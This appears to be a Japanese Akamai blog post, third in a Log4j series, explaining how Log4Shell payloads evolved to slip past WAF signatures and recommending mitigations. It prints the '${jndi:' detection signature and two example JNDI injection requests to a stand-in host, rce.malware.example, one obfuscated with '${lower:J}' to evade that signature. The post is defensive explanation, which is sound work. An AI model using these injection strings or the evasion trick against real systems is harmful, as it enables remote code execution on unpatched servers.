Log4j 特集パート 3：進化—ペイロードと攻撃の多様化
このシリーズの 第 2 部 では、データ流出やリモートコード実行エクスプロイト、脅威サーフェスについて説明しました。今回の投稿では、当社の継続的な調査から明らかとなった攻撃の進化についてお話したいと思います（たとえば、2021 年 12 月には Akamai の 岡本英輝が新たな脆弱性を発見しました）。Akamai は状況を継続的に監視し、お客様に防御策を提供していますが、 その過程で脅威の進化が 2 つの異なる方向性で進みつつあることを把握しました。1 つ目はペイロードです。
エンタープライズでは、Web アプリケーションファイアウォール（WAF）などによる緩和策に依存する傾向が見られます。このようなシステムは、Web リクエストの中に悪用される可能性のある文字列がないか調べ、見つかると除外します。ごく単純な例ですが、次に示す 7 文字の連続した文字列が含まれている Web リクエストをすべて除外するといったことが可能です。
${jndi:
次に示す例では、ハイライトされているシグニチャが検知されるため、リクエストは除外されます。
GET /${jndi:ldap://rce.malware.example/a} HTTP/1.1
Host: www.webapp.example
これは一見、良性のシグネチャのように見えるかもしれませんが、Log4j は非常に複雑なネスト構造を可能にすることを忘れてはなりません。このような防御策を回避するために、攻撃者は次のように攻撃を変える可能性があります。
GET /${${lower:J}ndi:ldap://rce.malware.example/a} HTTP/1.1
Host: www.webapp.example
この例では、先ほどの 7 文字の特殊な文字列、 ${jndi: は含まれていないので、結果的にこの WAF シグネチャによる検知は回避されます。
ではロギングを目的としてパス： /${${lower:J}ndi:ldap://rce.malware.example/a} を受信したときに Log4j が何をするのか確認してみましょう。
まず、ルックアップ式 ${lower:J} を jに展開し、次の中間文字列が生成されます。
/${jndi:ldap://rce.malware.example/a}
次に、Log4j は JNDI ルックアップ式 ${jndi:ldap://rce.malware.example/a}を認識して、LDAP 擬似 URL ldap://rce.malware.example/a を JNDI に渡し、前に詳述したエクスプロイトを引き起こします。
攻撃者はペイロード構造を利用し、最終的にブロックされるとペイロードを修正して再びシグニチャ検知を回避しようとします。そして見つかるとまたペイロードを修正するという、いたちごっこが続きます。
Akamai では、上記に類似する、さらに高度なペイロード文字列の操作や、クリエイティブコンテンツのエンコーディング、転送エンコーディング、文字セットなど、わかりにくい方法で検知を回避しようとする試みが確認されています。
私たちが把握している 2 つ目の進化は、攻撃標的とプロトコルの多様化です。すでに 第 2 部で説明したとおり、現在は Web ベースのアプリケーションが攻撃ベクトルの主流となっていますが、Web ベクトルの防御やパッチ適用が進むにつれて、DNS やその他のわかりにくいプロトコルでの試行が増えています。
解決策と緩和策
この脆弱性はさまざまな攻撃ベクトルで悪用される可能性があり、その影響の大きさを考えると、 真に解決策となるのは、脆弱なシステムすべてにパッチを適用することだけです。しかし、前にも述べましたが、アップデートの方法がない組み込みシステムや、ベンダーが迅速にアップデートしない商用の既製アプリケーションなど、パッチを適用できないシステムもあります。
さらに、そもそも脆弱なシステムの正確な把握に必要となる包括的可視性が環境内にないエンタープライズがまだ多いことも、緩和を複雑にしています。
Akamai ブログの 前回の投稿ですでに緩和策 を取り上げましたし、 Guardicore チームのブログにも掲載されています。しかし、念のため、ここでも Akamai が推奨している緩和措置をご紹介します。
1. パッチを適用できるシステムには、すぐにパッチを適用してください。
これは最大の防御策となります。その際 Log4j が最新バージョン（この投稿の執筆時点では 2.17.0）であることを確認してください。
2. 脆弱であることが特定されているものの、Log4j のアップグレードを待つ必要があるシステムの場合、可能であれば次の設定で脅威サーフェスを減らします。
Log4j のバージョンが 2.10 以降の場合は、「-Dlog4j2.formatMsgNoLookups=true」を起動時にアプリケーションに渡すことでルックアップ式が無効になります。
Java の場合は、ご使用のシステムで次のように設定されていることを確認してください。
com.sun.jndi.ldap.object.trustURLCodebase=false
com.sun.jndi.rmi.object.trustURLCodebase=false
3. Web アプリケーションの実行前に必ず、市場をリードする Akamai Kona ソリューションなどの WAF を実行すれば、攻撃試行のフィルタリングと除外に役立ちます。
これは、内部サーバーと外部サーバーの両方に対して実行する必要があります。
4. Akamai Secure Internet Access Enterprise などの DNS ファイアウォールを実行することにより、環境を通過する疑わしい DNS ペイロードを可視化し、ブロックします。
5. ハードウェアであろうとクラウドであろうと、環境全体で稼働しているものを包括的かつ正確に可視化できるツールを使用します。
Akamai Guardicore Segmentation が提供しているようなツールを使用して、環境内で稼働しているすべてのものを可視化してください。こうしたツールを利用することで、脆弱であることに気づいていないアプリケーションを見つけ出すことができます。
6. 影響を受けるアプリケーションの通信を最小限に抑えます。
Akamai Guardicore Segmentation が提供するようなアイデンティティベースのセグメンテーションを使用して、脆弱なシステムと通信できるものを制限します。
今後は？
上記の緩和戦略を実施すれば、パッチ戦略を策定して実施しつつ、その間に脆弱なシステムに対するリスクを大幅に軽減できます。この特集も、もうすぐ終わりです。これまで、Log4j の脆弱性の背景、悪用、緩和策について説明してきました。パート 4 では、締めくくりとして、これまでに得られた教訓をまとめます。ぜひご覧ください。
